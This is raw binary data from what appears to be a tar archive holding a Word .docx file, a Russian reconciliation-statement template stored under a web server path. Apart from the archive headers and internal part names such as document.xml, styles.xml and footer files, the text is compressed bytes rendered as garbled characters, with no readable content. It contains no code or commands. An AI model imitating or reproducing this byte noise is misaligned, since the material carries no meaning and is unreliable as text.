�.rO$����+��)�{���;�'��5��iq�8�L�[���@3g�a�������‡$����?�m���ym�߲B�� 8!�r��-���c�>��Ģ�������ǟ?�X����r�
<shablon-akta-sverki-1-1.docx.tar000064400000073000000000000000012312 0ustar00var/www/html/back/storage/app/public/87/shablon-akta-sverki-1-1.docx000075500000067236000000000000020766 0ustar00PK!�ˬ�	[Content_Types].xml �(��VKK�@����Wi�U��=�8������]��S���I��j�5x	$3�c�MȌ�o�d/���`�|�2p�+��{|���,�pJ�`+Hl:9<?����.l��9OrV��pT)}��6�y�Ý��\z��p���/�K���=��D0�euc�U0��R ��S�T���랴�!Q�;���-E���ND�������+/�����4;|���|����enM�T��n���L��5\#ػ�C�m�!�� ��&�o�H�2��>���]	Ї�
s��W����y���{t�8����8Փ�-s��q��ዃ������W���5qG���_�t�����9�3}8�P��@����&�i~���?��������C��N?�F������D�ڡ�׻����PK!���N_rels/.rels �(����j�0@��ѽQ��N/c���[IL��j��<��]�aG��ӓ�zs�Fu�]��U
��	�^�[��x����1x�p���f��#I)ʃ�Y��������*D��i")��c$���qU��~3��1��jH[{�=E����~
f?��3-���޲]�Tꓸ2�j)�,l0/%��b�
���z���ʼn�,	�	�/�|f\Z���?6�!Y�_�o�]A���PK!1���V�word/_rels/document.xml.rels �(��U�n�0�W�? ߋ���C�\�J��T�Ձ塂��M[��Q�i�Ճ9� όg��f��6�HU���<y�˘��/7�S�x��!&=(�M��6��0ԇTUw��,\ŤB�(UY-S���/��-C]ʒv,�d%�(�T�$9��vyL�.�i��EQ�<����	Z�AjF&K@�9ԑ����W.
�c�
LF��©	���j�pBl�oDhmD�M�ze3�T_a߀ف���ߥ|vP(��6:�	�5Bk��ڥ�9��q�k N��H�@ܹ�?!��5�`��º o]���b;�����A���$P�5^��<��	z�'���PK!\��0Fu�word/document.xml�ko�����B�R �H�z�[��`Y8i�~�%��B�I���I�eC�&ݺ�(�:�/pS�����.��~�D��)�I� �)^��s�y�C��O�*��f]�2���������B��k�Jδd�&���,d3�������|M��4��0͜�kV2ۖ՜�f��Ґ͹F�j覾i�U�FV�ܬW��nԲ"/��S�Ы�i���ڮlfp�h�j���'�R��-��߂!�
$�-gK݀��0���
*�7�B����^U�|<H��A�!�A�uC*Ń��N�nכ��/n�FC�𩱕m�ƣ��-�)[���Z�0L���ڣ+³<�\�o�lC�)j��B�2;�6�̿��'K�g�;È�?���(�y�PTL]3��MO�q���.��^H�6T����Q\���
#e`��;�o�l�!
|�! �Q��Nw%
̅�/�E�6�
�@�P��#���Q�g��1����]0�A�%�{ͭ���SC�i����v�%�{�
���vI0[�m��UB�:gK�
yC�+�<�a6����xW8"t�E�*l�r�6T�p�p>ܷT<a~WV2��󪙬sC�/�ʦ�f�ʾ����S���v��nYz�5�i@��u��VŇ���[���|���U���7~�DZhI�\��r��6��w���n���ھ�]_���.=ӛ.r�v�Bf��1t��)WLUW���Kg��q�2ĝM�wr]3�5�`�ƛ��"��zW>�w6l�6�J�۩����*^Z�07�i��x{r���Y�bEWw�]v���M���f��!;Z�S�^#����(S1��Fs�b9`X�Ipǰ�KA7� ��ts9p������D>9_��`�pi`1�qHmS�/K���2r<�c��,�P�b
��J;���:d��*��9�V�n��MYs�	
�j�LkuGQ��7�Bo�'^�(Yq�wh��ܤ��.��-oE&��%���t�3��B踾�l�;�E��Jyսr�U���T�n2XDְ��MK!�@Y�N��(y'�;����OUw�U�)��7�i��e�f��
�zC1�ϔ=n]o�T++X��̺xq{	���+U�{�m�[1��|�Nt��|\!�2Ż�c����^QT��؟�����Z����>=�Ҳ����IQ�tR['� nq�\K�4S1v��"w��{��w�|��u�60�G�1g�dkz5+W�[�b<�g8��F͙b&Siʆl)���g�3qRQ_�[���Qp��t��"Q�E�
���á7����5>���Y�'E��C�hh�6:N%�0<�|��a��i�Ƚ�_a�EYrk)t/R�POJC%z�~C���C���Ϝ}���'�stj?EW�-�ޣ+�~���(�_�Ktf���1�����{Tz�$���@��p��.����{���� �%'�"?]����8�V�6��Cd�:E����z�tJ�6�0���b/�XǞ�K͡WS&\>gzm�'N�xLS��E˄����v���2�Dz��G�B�arL����B-�y';�T�G�A��T Я�A���$�[���W:�v�BM�v�D:��5�����hh~��:��+,�لP�],哨�G�B���ٗ������ZBJh�,�`��W$������W�iй^�ަs�1H��e|El���7B���B�8$�x�^
��J��Ryib���!���e��IJNg�WtJJR�$M�'�����O���&�Ю%%d��d��o�!�^ه�3݉�5fķ���"�X�c3�ALg0�2����������/���ɥ���9�����5�%6L�X_\`}����+�C|霱�5&k%'��Ѽ�>Ef�L}U}f�6]��rM�әY!�[*'���9�>�Qp��1W�H@����~�~�ӳk�J��̭w:\II�]�풶�ҦW�ox�n��k#�o�_wNn{��h��M�~N>uuˢS.b�-�)�N"��;�~�\>&/��x����K9E��Ȏ.G)�y�Vפ(�|.JM�B#ӆ�p.Ÿ
�`��RN*�/�XZ�Eq5��	a1	�v��r��0{�/��RNtԩ��h2�nf�d+��CL��M�GA�џ�}�9�
QZ
�k��ke!�+�*����,L�����^z0�D�p�n�ﺐ�/y�:g*|��4K
ܪ�Ù�9�>�Ծ4`���W�s�}��a�1_��������"�N�M�V�伮�	��O�/x��&1�W��{z3��9�hl�g�)њ�����G�o�64��,,�K�@�a�3�G=�"8���փG��m;I�]�8����9�`����|=0�t0�@��P���NN��{��P'p9p�H�3`��
��/�
�@[
AF�ɁM1�9�_�]gmORE�+ރ��ݪ�Y��j�r���~ʸ^tG�q��*��WR(>�)ڭ��$TL��1�:}�x�6��$��6sr�6`C_���c�����'���Y<�n�8�=܉C��K�ya�/��|�T_�͑���8_ZVy�z9,56/ω�1#Rq���	m����o�,k���Ge��c~����*cM�FOm\7$��觎��*�*4؉����-W�<^n�-�s�FosG�{Ǻ��A����(F�r���"uEp%!ծ�T�q�E5O~xΒ�n��(�s]ևtn�$$k��J2��=M&#}�.H�`�~�]��]2�J����_}��˚��B~qN+#���s�S��4e,wJ	�&�6�9a�J��`/άiM����y���K��Ī�8.g4N�Z�djEMC�7W
�l��f�oɆk�����/&u���"�U��\����1������~�-�1\|��Hc���~:��W��=J�]���<��jԘ�/�Y �yhJ��hJ��)�R�e���7�R����)%Y�44�@S
4������&Q9���f��h׀v�D�b�VЮ�C����k@�ƌ�w
�5F̃4�Q�]�5�Ѯ���v
�@t�U�@@#�4I342���'����>42tKB�N�R���CA#�tz�a��L#�(A'C|���ɐh�z(A!�^�N� &�$V��xc�8:��a8�փN�d��NA'�(�y��1J�,w2��2@+�)HA@
Z&����@�6��B+�����-	�Z85K1�2�2�5�V�W��~
�2ӽ
9!�
P���R*;~3�C�%;���k$��_�I"���m��s!��G&���S|1�t.@��pp#���'��CGW���M��ubw�泱��	��3��WD�d(jBz}��K��6<��=%*�6k��n��>Խ��w>\B9��`���=!=���P���R*R������-]���� �(C���ω5��Ts�����a(�փ&�^�Q�������}�����v�p����MPK���҇ס/������'
M�a�� ޚ��B��r&��=,*cτq��a��R*R�������[���5$��]َ�������#����h�9V,m
��0��A[C/)	m
����m
Ӿ����I;S�~E�M��H�O_zi�k�ᙵ�m1�����7���A���d��?���o3���~����1�ޣS<r���I�*��A1a~]�Z-��P�����s�� ��mx*Ơ��q9�di�ր /��6�퓩�C���3��q��;�d�����	�D/i�:H�4�t/iNu��s�*��"(G(�u��h6�x`�&TƳ��O�1��ι�
:F���]}ġK��9�8'�?�ՙ���<.4��K�pDF���d�B��ߐ��v�ՙ@�{�<�z�)�Do�pT�F�^GJ��ÆJ�xĆz�:Pw	r�}=wX��
c����˺QS��鄝�|M�2�|��t��������`Te�C����e�xs)gǛZǛ\Sn2�a��l�I����G.,^Z��6�i���G�.;g��]�ihm��z���^���w���	�5xl�)���G�ua���Aj����O�V
Ry��l,O[ΉK��xyZ�͜˪�}�ݯ�۸ta�L�L�N&��r�!8]R�$>+���� e�b�/vIO����5I(��c��⿝�+m�u
��̰�����.2R!K�
�l8��KG�
K�R�'o)ˆ"�v/�yzt��8n�`��~��u>]�A/���B�0����B	Aedj��h3�b��_`�y���%���o�!�^ه���	��O�[tf?p��Jq��ҝ������?���[[O�F�+V�Z�瞠����C��쪏+ǞǶlC�}�j�j[�RQU-�?�))Y�_�����C�	Yr� �xf<��s�sf���Yk!Q�H��[�P�ʪ���a��[��J���k��j���"leIA
�lg�V���;��2��,^!���B���"1�d�!P�Iz)psk��+R���#�)k��)�h-dZ�F�>
e�9n�_�[|���\�+��бe��6Ce3I�g�������W M3*��,�?�?!��D�?q��;jEu�7�{l���&)7[-�c� J[�pZ77QQ�Ӝ��9
i6��LQHMҁ�x>Db�H��>W�
D��%3�{yORYҝ�����_L�F������Z(���K�:T�Hސ�����V8:�<�������W�tz�02?/��!^��1"�-��
� ���om��/{v�Yf!E����� 0_B�����5���{���\ lC��_�'>��=��lgR>��{L< �V���q�5����*dF��>���%Q�C���<d"5�@=�D�'8<������'8<��	Opx�3���/�JQ8��H��L��Z�T%oJzSO�)L�Ƥ�o_�`A7��7,�\����.�{,@L���+h'pʟ�iк��&��ّ!M>	�ݝ��N�ÖiF1kЙm�,��w$�a2͹62�0��`Ճ��~\���,L=�@w���xuf�5�/n�"���L�_&8a��4�[�X���wdϜҺ{����M�g��
�pT��cMݟ�6���*�_�7�n	���)�ՠ�#�3�1U���r鏆F�r`�!<��Ǽ
?qiG��>i{jr���>����M��#���<�X$KO���g��d���Xsc�R�;o��y�É�Nː��U>8����U�Qϔ���̍�Nc�U��>����N�����c��tv���h��
Ax&;@&�8��ǎ�����3K]����&���9YA����w�>	�wp�͖���`�e�ڥ��pKU��hu���~a<��]6*�mVW�-iż���
���ڋ��m�pQ���)�m���nvu7xN�_���
4�"�ߢV�Dc)oP�L���uPu󁹂�8F���|����f���Wm��>_w�fϦ�Iq�zb��b������#h2�j><M>��G›�7��`����_��[V2����<3�:[
�׬��ǥ�P��k�e��޷#1��\�
�`ak�j�-�k���\0j�Y."��p4�N�!� IA�6*"�2|�G��g��"�;%�Tԫ��$n����բa8t�~�ug�ao�׀��eڇ�CG{'�R��)y�&��R w�7L��a�HHAu�-K&�&o(У'�Y�^"jr���
��o#t��e�p*�ɩ���uL�f=�vⴟҞCO=,dC#��9|R�T਎�r%�[1��J5UG9ՑA�h�v���Y0��.�+������PK!ĩ���word/header3.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!���k�word/footer3.xml��n�8@��W�E"K~$6*m�YLjL��%�V+>J�v�+����?�n��?84�zفj��t���A�u�}�^���ܳ-�ұ�>v�[Q�0�S��^�b�
�!I�>^Q��_�x�DF!��z����g�ȁ��`F��,��"2ǁ`���8��R���Zn+�I%�5�:#|A4�q�}=Z���-��3���0܃!]��VA^x�UT�`TϱVU@�F ��B�6#���^3�W%�4#����f�J:�j�I9,FB1b`��#��\XO�$6+`�z��c�@�$�vx0��a"�I;,(��s���Q)oMd�_!����D0g���sG�b!��Ų�p֔�����Ă%ž�tk�ˮ�i��r�c~�d��'��'b�D�,,a��ōB�\��R�
��5S�`d�@r���a�n��+�)���>-[.���
-~�jS�K�>��g�v%�s3#���\(2I�"�!i���-�
�E���JС���v��`A�v;^�Î�
E0�������$	U�b��L)���	�V��1�!!;���ǟ�f��dg���p�R9�	n�#	�A���V���	.�F4"�Ĥ+���:)3��1�����!(fT<�;�"i%�|oPٻ]I�N�R�����Ɣk�n齱�<В -�T-("(���Scu�����Z�����?�o/�o�>��=�TE��Q�;�wS�*�(.�J�(ȋ���50���Ψi� a#��?_>������=����\�����J+�w��#/:n�妸g^4�#� ��N����ݗ��w��69Vhe�n����E�}Ym��eeu��Rgd��?��PK!��\dJ
word/footnotes.xml̖͎�0�����U[�jo�������o�qB�m(
��K�홟�3�1�?�Dl��\���!
��*�r�@����P`�	ɔd�g=.?�q����1Cڸ�t�6��cK7L��eU�T	�ҔS�e<�������Z���[b�Gw�h�!8{��
1��N��f�?�Y4��Q5�5�^U4�U
Ҹ�Bp�n�A�4�F6I�n�F9�f�+�$,���`h�X���5q��g��Nj��"�:�0��0�B%,&5E-Pnd|������?�j�&��e�h.�te�ذr���p}�pѕ�����Vd�]������iU��l#���Uʯ��ʼnx�ѣ���{�JT�i�N�9Kn����`By˒�U6!�<�Xvf\c�^�Z����Q�>�}��S��o�֡��;��'�uC4\	��Ok�y�@�Pe�'�p*�o:�<�V���5�[��!NS��{Qi�a#�����t�u8��Ԋ�$�\s��O���G�
�l��jBA.��1��B�q����8xɽ~�;��r�����Y-�ʠ|�1]��*���K��X�2ԋ���}6��?��PK!��*4cD
word/endnotes.xml̖ێ�0��+�"߃�����ޭv��:���o�qB�P�Mor�g>�3�q2܋4�1c���C0IU��f�~��ћ��:"�*��,z\~�4�c&�� ��sMh뜎1�t��}��QV�]�*��z�)ù2	�QX<i�(��F�Xt��};ZbH�8�tK�c����<k�@� j��7�&ثj�F�@��Aw#]nҍ4h���H�&i֍�('�,p���ɵ2�8x5,�y�t��8��S��'�p��Ax�b��L�b�����(32>��N�^z\�o��i�R4L�"rlX
�P�n�>u��J��m�]b'��.�Q�v���*SY��?�_�����(l�#q�h#�㚕UX/�)5gɍZ `�L(oY���&��g�nÌ+�=���s���Z~����=ս����
�c՝w��O��h8��6R�"��� (v�_aW�thY�*y��-����!�񽨰��
�"�����t�u8��Њ�I���̳}~��%���Մ�Z0"k���
�C�}����K���)��s|r/��rʔ�ҥ訒�ˬ8�^��4�/�(�J��]���PK!ĩ���word/header1.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!ĩ���word/header2.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!:�8��word/footer1.xml���n�0��W�;D�'P��X�U�V����C��$�x������n���0���3�7�')�#��k��h��)�S��	z��2Y��y�R"�b	:3����6E�y�Z��04A��&��ќI⦒S����j�u�q�p�m�gaV��Ք9K}'�H�q�ԏ�ZR��>b��٩eD�!���]�l"�E]�|0j�KW��(���H�n9�4�V�H�.i=��)'�-pm���L[I<|�{,��<�	�
����
�p�9���9OVXꔉy�Pt�Vŵ~r՗�㋾���E��� ��U��2�����\;\���d�@�_q���_a�����iwIe�c�ο�_��ǎ��������l�H��v�Q��In��i�`Iyϒn�lB<���86�h0�,�V/��j�a���4~��|`�Uw�	�>3o91p$H��C�#��� �v�|®eӡ-�LP�p�H%(�<zZ����A���J��VÛ?��G"D��
�g˱z�d���PK! 6@�I�word/footer2.xml��n�@�����W�"16��Q
i�ESԐ�18�\:3ܲ���{�
�k6}�F=ccl�GQT����矙3��dABc���a�40u��qǼ~<82
��P�(�K,͓��7�󶯄j*�s�v̉R�mYҝ`��!	\�$�աˈ�|?p�5g³��]���`.�R��!i�q��hb
�Y�	�)��R�Z�Q��;���jX�UT+W9R��/�k�#9yR���'�#�ʉ��qLa�g� �bl$n����`��Z��H0(��%�jC UooB�"��a�K(�cNm����ގ��D!��?��;%��h�!��r��	'ei08I �]���0�ݜ���S�/e
,b��$���&ڕ;�E�9'�0M\ji2�kl 	��nP��F��0Pf8'�$�Q�����\�)Oi��h�ٟ���u�eO�|���	���۾S&�(GPC����]1�3�� =��}���3�ˆ�4�Ֆi���t�ϣ���9
C,��`��ظ�����>0�1�o�-�5
�N1D�m��1g��H7=F�ݞk�J�ᴜ������c����1+��i��n�I��}4
Uf$R�L~��!N�"��q������F}(]Rmɑ��X̰�]�|���mu���zx���7�NE�X��Y����ȍ�ѣxjwIv���w=��X�^���j���i����ֿ����I	�J�Bu��gz ���s�9H�-�[��݊wq+;e����Cu�W�L��<Q7��a��+���O�^��̋�n8I��t��vW��v���PK!�^}-$�word/theme/theme1.xml�Y�nE�#�����;M�:U��-�i�$-�q�;ޝfvg53N�[��@��8P	�p@@�qi�}�B���fw�{B�&�
�w>~���_�3�O��<iz��U���M¦w}�{f�CR�$��'��
��.����y��"�\�M/R*]�T��X��)I`��E�LEX	>�1�,T�K���C	�����O�G�#t�ߧ>��
�_��z�gbGs'��OGG�ǣ���'w`���`��r(�L�}̚���.��<İT�����U��W�DLC[��ON�{�N��1a�[_9�1�oL��:�N�S�3�`y�K[�.�Z�(��nWպ�/�_����Z�Ɗ�7�lX��/W���ހ�acV��z��d�
(.���V��6ހ"F�����82cH��KN�2�����*�l��5o��] 0�Ɗ&H
S��>еq�k�x���N��˙%-I_�T5��SE3��x�G��ÇO~z����T�p����ɟ��?|���gn�,����_��2���G�=<z��G�w�_�W��ҘHt��m�a�'^�b7´L���'X�8�Y�C���X��=xC@Kp/nY
�Db��x9�-�&�ŅӦ�ZV��$t�2n�}��T|;�r�HKK�-!�!I�Bz��� �I���M�.y_���0u�d���l�]�1�e�R�m�f�jq�b�A�m$Tf.��Yn��
�N�q���+XE.%w�·.D:$��N@�t�\CK��z�3�l�H��ys^Fn�v��ԩ3M�2�=�)��WN%�]!zq�ɱ�A���uZ*MD���$��q��敩^���7�й3	�׸�U>�򾻳��-{�^���n����s������y�-ှm�o���9Wϧߒ']�ɋ��a�}
�S�vԐ�+��s	�]X4�d|	H#��-\(�#��TE;NAl�He�:�(��f��[o��Dek���	h�6y�-/�/�c6f�p!hQ3�W�⹓	�e�9�Ռj���&;��G�M�#������L4$f$�~�a9��$���{֐���n����h�'�6O����Lj+�w�(&Q�u<U�,�g��j,4<�����8~R�.�¤�*7��<m�;-k�c
�D�B�
,���l�D,��Шk?���n4��˵Q�(����WǬL��("v����@lc�[�*�P	��kz"�B����ϫ`�7��:0K#��$]���܌�:�YI��lJ��4Ŕ�)�RN�):s������ѦDž�8t�4�~W�A�����V	1���֕�O�V���`�6
����T$�R��/aV˻b^9��όՕi��}�vu�.i�=�$w��M͞��腺P�ԓO�6�z<����Vj��W���Tx�Wmֱf�-4�~զpmA�7>��/�]�
�G�8Q"H�3��R�F=�9[̤iV���5	�X��q��������^����u9���̖h�t�1���x��ހ�Ҁ)i�#���.��>�DC����PK!ae��VIword/settings.xml�\Yo�~��@�94�>KA��;	By�Ņvw�CQL����=D��:�?��|���U�uus������C?�W��%��]^��Ű\m߽���/��]^�n���ös���/�����f�O��� ��f���a�v7���C���
�~K�0n��~�]o����j1lvݴ�[�W��`�\��o.��͉��f���p?�Cn���բ?��<b��y�C�x����0�د��a�X�gj����g"��">l��8���>
��ӈoao��E�ߓ�6�3������+B���>-�@��sv��s��# �"`�寣aN4�i�gt���#��d�ϛ���~�-�=B?���n<�I���͏���ݭ����������[�4�����ͮd9�������p;u�~���a.�}Gԟnލ݆6��a̲����/���4��-�2w���q\-��?��ԭow݂�_��闫�n�=���_�������ԏ'z�����r��0%��#��q��r�}�v}>2���p���V���p�$����DNg�Zn��4!S~�p�H<��ô������q]��ܯ�|�zl�]~��+:_>=��b�ѳ��t{�4d�m�2��|?�~V��v���Ϻ�=���d��R�8LӰ��y��on����R�X�1��7�U�R�*4xD_��Ɠd�B�5Q^7�٢��\8��5½���aj�1"��QI��1��c9���h�L����1�Bj��R��e^#&���*ւᮡS#��2�J{<�U�V�h�05�d�ԜNK�s.��U�	���u�
B�5�
�[��cmG�E
j�<&���g.�)��F�i�l�mP�\aY�*�v���}Z�+XE��~�1s]�Xs�%�wV�b�V�5\)�Z
�S΍Ӑ7r�@޸���H���+s���!�x�.���+&�!�e���1%�X�0�E���^���A�↥�@�X��֜�)�Z��n��16q,Q�YQ�S��ت��SRq�C)�-�䰅Dr!p�(
oP3:4����O�5a�I�z�Ҥ�j!9a2�'����֥���ʼ��T�^i��TI�K1x�Ն
���Q��#��x/N�Z��#D�F~O+��i+����m�9
�\��i��(�c���:�a
�Q��=� ���N	�W��1VF���8��CeO�:�5����+�xg�@�s����J���WH��Ɋ	<O6��H!�!$�,�2���}��6J8�$+�/�3(B�s�j&5	�S�r!��I��Ij��1�I�9��I륔�^)���+ՒE�(��@+/���1:�J�q>JH‘VZr~x��mxh��d�em5�qA:UpN!�6x�H/(�ˆv
���B�d��ŕ�L*Hlo���m+��L����X�E�%�%؏�:[O�K��Z0�U{�e��b�!g�D��Wjl��;\7��e�򦄕�#�9��<D)VpoC)!��TJ�	S3��e��Q��9�q�T^4v��(h���X)e��+��$��Td>ajQT\����J�U�U�E��:*��!$;��"�=��m�z+/�bQ��4c����z�l�P:��+���\������l�T�Y�uj
�X�ZJ����
ϣX�p/h��2Pd�x=Jg��kE�7�Z��N�nu�5	���c=!)bh������f�ę!�!#"�hj�[c,���ig���J{fqgN{��k/��:P.��O�|�1Fg����U�Nd!X�p\c�"3��A�t�
�ʤl���3W���H�9J(,��)���� ׆,>�1Z$��B��c1�+j�Ԭ���d�`8"$������Y�r#o��9�;��k�qs�Mĝ,�kh.
Rw�Z��z�a;����&np�'1�|^b�=�e�U��d�q���qU`��ll �F3�Ű~����2+����AB�-�lov�[P�S@�\[�x�\[a�R[a5��V����U�[b�
ja�Eah���V�(c��
����z���ִN�R�J����j�v��ȋ@O�Z�lݒ�x=^���R��OIm$��DJ^����9�Ͳ�j����ͽ8�Q�fP?��=>�r�5�P7���N9��9න��>ub�� B�T�c$w�+�(�Ɲ9*΢��tZ�S<d,��q>�R�v������P��bh���u�5:���FǑ�ŵ3%���}��K���;�k�s�r���磎�z\�8�>-wA膽�8!${�ud���"�H
D7z�.��ٻ�B��˦��"=�U�hѐh����)���B5�g*�8GEN�x���6|��ĝ���!�b�yn��+�&�<�S��N��g�^���?����y��"hh�^��a�*"���<
��h��1�u�UpG��ұ��BO2�<�ǸK�ɷ�Μw���p\�2p�O���LS��C���a�s���]���(�'��{>��k)��v�()��N\��'
�X?IdžUz���*�����0�"���i�)!�7��ܰ��3�	y��wS�D�|sz����w4�`�� x�p��;���:�'�
�R�=h��|0&�N0���6!	�5�$�ys$ ́��z
^'s��mmp�·D�dk�e���E��d�ƚ�R4d�)!�c���Y@��r�[��w"�9�.N�L�|4R^�#S��ƹ*�Ԅn��R�瑺�XB�D�LT�ś�{
r�
G�hd�r���1O�!�*�#mԆt���%+�7��8{�II�c&C����O�cG͘�
��Ƭ+���w8.Ģ����o��e��bK�<��m�e0�J�`T[p���K�p�40�-�=g(������w�(	��D 	Qp]��"��P����Ź$��C�+�^HJ5n�'e���4e��+'�<>7#_p��*���|�#�Q�QqʰKe�8I�0ܝLA|�%#pN�"/�[&����bR$�b-D[q}��`�"�-DBBC�IzܫI�F|����
�5��'e-��*~�]I�6��D�{��d���LI�Wef*�����g.
�����8�ʂY�_g�8�"�%Ogi����e5�`Dp��V�q)+#���yi�G��]��U�X��Iq6�0�mSܕ�Fܻ͖b#��)��$�W���ȁ^O���`<��(�"9�F�*G��_��$8��3�R�tN�5��)�1Yk|R��

��l�Ug�ePMŝ�¸�p�N�
�V8���1�aONHű���;E�c}��S�"��P���7�=>/)N񝟢��
DY�P���|����Ւ��<���3�0��\�/�J`Dž���4�U%PɄ��8�2�$��}%Y���B�G��g9%[��5,�
�s�1X:UD|�2ʈ��S���\�ͫ�i9���b�q��Ґ�o�׹�+%�3h;u���WJ1�T#$��j÷�	1�ST���ԬlDZ*W���q�l`�x��͸E�ܬF%�fM��A�db�)��<E�-�EI\U��5�{k�-	�p2#�Gh�����e���ǟ객.6���܍�����#��w�ڞ�~�ϑ�ǻ3xuu��n��c�8�l�����������>]���Dk��E?�qwG�i�v?n���"�:�*���v�i�9?�?�ݞGm��3�q��ˇ� ��<�t��-����Kg���W��w]�B��g9�Խ|	c|���ߏ�b=H�?w���
w�������� L�۲�~�{'N�8`�~�����/���g���3��L����g��L�<3�gf~����j�������z=<��^��p�6��������yx��xw��w_RXvSw����[�/�O+2������GG~wd|��O����i���W7�a�#�8����FI�z����$�*Y�|��,W!�x�K�W�Ǽf�{��ӆ=����PK!:���word/fontTable.xmlē�N�0F�W�"��8iZ "EХ����
�u���?�'m����I
R(�b[�M�����ͳV�^8��d$�P��F�mFV�$���
Sֈ����ُ�:ͭ� ��R�3RTU��!�Bh[
���:�*|u�P3��+Ϲ�%��Z*Y˜�9�0�3�璋���0��:��h
���V�V[�)��ϬU��L�#&J -��`�j���v�Q8=��I��l �\n�1�#ę�8 �af=Z<�@����X��
I�&���6�-����0��n�d��%3D��=S�1��s���MH��s D;��qδT�>�Z��RV���=�qm	�;Xӌ�SJ��Պ�I��%&�ɴK�f-����1�M�=ǿF-�{�q���xX2%�N�0������'qrq�&��u��jfN��7�h%�f���8�m�~���1�
�񻗤U�\��E,���5��D��PD����+�D�9e�i��C��.��Z�ƯM$M������~�%�>2�=��/��PK!��;���word/webSettings.xml��n�0����׎!�`)
�Ҵw��DIA�V���hq��9D�\zg�qF��Q�h�K4K�N�XJ�Y�_���M�X�<�^}�pU�5?!��#��k�d�l�^lAs?A��:��nk���@my��T24q�$s6`�[(XUR�
��:}�@��J���-�]i
�Ѫ�i.�3&�t�R8�X�	53TԡH�&���0��s!�q����Iy��03;`|��EZ�_6/���D�]ԁ�g{؊&��{?�Q����3�-�iz�m(�ln��+ʲ��Ҁ�A��9z/7�W�hσk�?q*d]��
G���f�v_kX.`�*�y什=B�T6NY��h�֝v>F��͗�����$˲��}��}�k���
R�'�E�vX{p�i����׻��Ja����v�^���PK!ay�
sword/styles.xml��rܸ����;�z�,<��Z�\���5r��Ѹ��M�ՈI�C�-iV�Ie�]6Ye�'H�jRO�<C��`7�C�y@ĕTea�����r�����wI��Y�xz4�d{�4�Ko�o�/�<yA҈�<�G�{�>�엿��Y^��4 ͟%��`V�g[[y8�	�?�s���<KH!�f7[	��-�OB��I�&,f����@c�.>�����p�дP�[�������vۅv˳h���ht����t���������D4F�H���ζ���k�����E8ƾfl	K��SfTa��
�$|��&��Ă$�&�X�/�LG��3:%������*�_�7�炧E�>#y����8cD4��%yq�3r-�'
I�(��8͙�q&?;�ya�v�"6ؒ���{��~Zm9���m��嶘�7նl�����M���M�=���Xn�F����S�I�T9dZP�"�$4fRR��՗�٩dQp]��W�-л"�ƥůt����h4.�GU���U�x&4w48<��4a�,�hj��XD��h�&��z�WJ7zC���<<)��yt~ҹT��5%�'���rӂ�W濫`;�M�3J�P�<F����"7Z��\<j��U��c���
}���>FA���� ��O�҈ޕB���&�E�h�Elh�EKh�E*h�E	h�%��K�9�0Ep
ڢ���%�۹��7��)���yp�n�ݸ��w7���܍�y�v�n���r�<2K��*�r^���AA��H*X*?�Ó�ͼ4����Dܛ�}s�(������>
��f����o�i���"�H	�G`F�Ef�����f4
�����`�.���؜�o,�F���"zV-��	��		3޿j�x^��_IHp��c��O�)V��@a��
�?3P�����3_]�i�zJ�<u��y�2>}���y�7M��o�ֿ߮Y�!�\u�t?vwsyD�w=��&%b����L�+�����g�<݌5ی-�G����9mE�W!r*Z��E���|�k��$�ϓ�V��{)��r�v�'�/&E�h��h�$^��j#E�[�e�74c=D�+�����1�kٿbkVY=��VO#=�2��;?���f"-{כt�����q\d��5S��%�$��g$g*W�!�O�չ��%��n�ULX��o�O���
�����e�);��O�1���_���_���H��{O�=�txH�N��I�$��I,3Yʼ̡����p�E~hW-/)�'�$�r��A[b\�㏇Ր�}M2&��յ�q�0_L~K�C�+x92��P��RWY��_&�p��ʛbz��롱5\���p�{�<g�S��<_ͭx���?��<�l���u`�փ�[�x����+��+��z��pHN�~��ț3̗'̗̗̫�_�c��_�c��_�S�<-��8�:�{:�c�|ř���3�g
